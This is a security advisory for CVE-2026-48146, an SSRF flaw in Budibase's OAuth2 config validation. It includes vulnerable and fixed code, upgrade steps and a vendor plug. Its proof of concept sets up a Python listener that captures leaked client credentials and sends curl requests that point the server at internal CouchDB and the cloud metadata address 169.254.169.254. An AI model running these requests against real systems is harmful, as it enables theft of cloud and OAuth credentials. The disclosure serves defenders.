GHSA-g6qx-g4pr-92v7 CVE-2026-48146
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.22%
- Chance of exploitation in the next 30 days. Higher than 12.16% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
3.39.0- Upgrade @budibase/server to this version or later
Description
Summary
The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
Details
Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
Where fetchWithBlacklist IS used (consistency gap proof):
automations/steps/discord.ts— Discord webhookautomations/steps/slack.ts— Slack webhookautomations/steps/make.ts— Make.com integrationautomations/steps/n8n.ts— n8n integrationautomations/steps/zapier.ts— Zapier integrationautomations/steps/outgoingWebhook.ts— Custom webhooks- Plugin download (GitHub, NPM)
- Object store tarball downloads
Where it is NOT used:
sdk/workspace/oauth2/utils.ts:59— OAuth2 token fetch ← THIS VULNERABILITY
PoC
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.
Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.
Impact
- Internal service access — CouchDB (default port 5984), Redis, internal APIs
- Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
- Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
- Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)
Remediation
Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:
import { fetchWithBlacklist } from "@budibase/backend-core/utils"
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetchWithBlacklist(config.url, fetchConfig)
// ...
}
Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @budibase/server | < 3.39.0 |
3.39.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
@budibase/server npm → 3.39.0
- npm
npm install @budibase/server@3.39.0- yarn
yarn add @budibase/server@3.39.0- pnpm
pnpm add @budibase/server@3.39.0
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-6x9p-4r67-5gjx Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url` | High | Also affects @budibase/server |
| GHSA-5fpj-28rv-84r7 Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist | High | Also affects @budibase/server |
| GHSA-hfhx-w8p8-4hc7 Budibase: SSRF via bare fetch() in uploadUrl during AI table generation | Medium | Also affects @budibase/server |
| GHSA-v42f-v8xc-j435 Budibase: SSRF via DNS rebinding in the REST datasource integration | High | Also affects @budibase/server |
| GHSA-pmpg-2mxq-6xwr Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete | High | Also affects @budibase/server |
| GHSA-cr7p-cr3q-h5cm Budibase: Account Enumeration via Login Lockout Response Differential | Medium | Also affects @budibase/server |
| GHSA-pvcr-8mvp-w8qr Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF) | High | Also affects @budibase/server |
| GHSA-2xgg-r2wc-c5r2 Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector | High | Also affects @budibase/server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor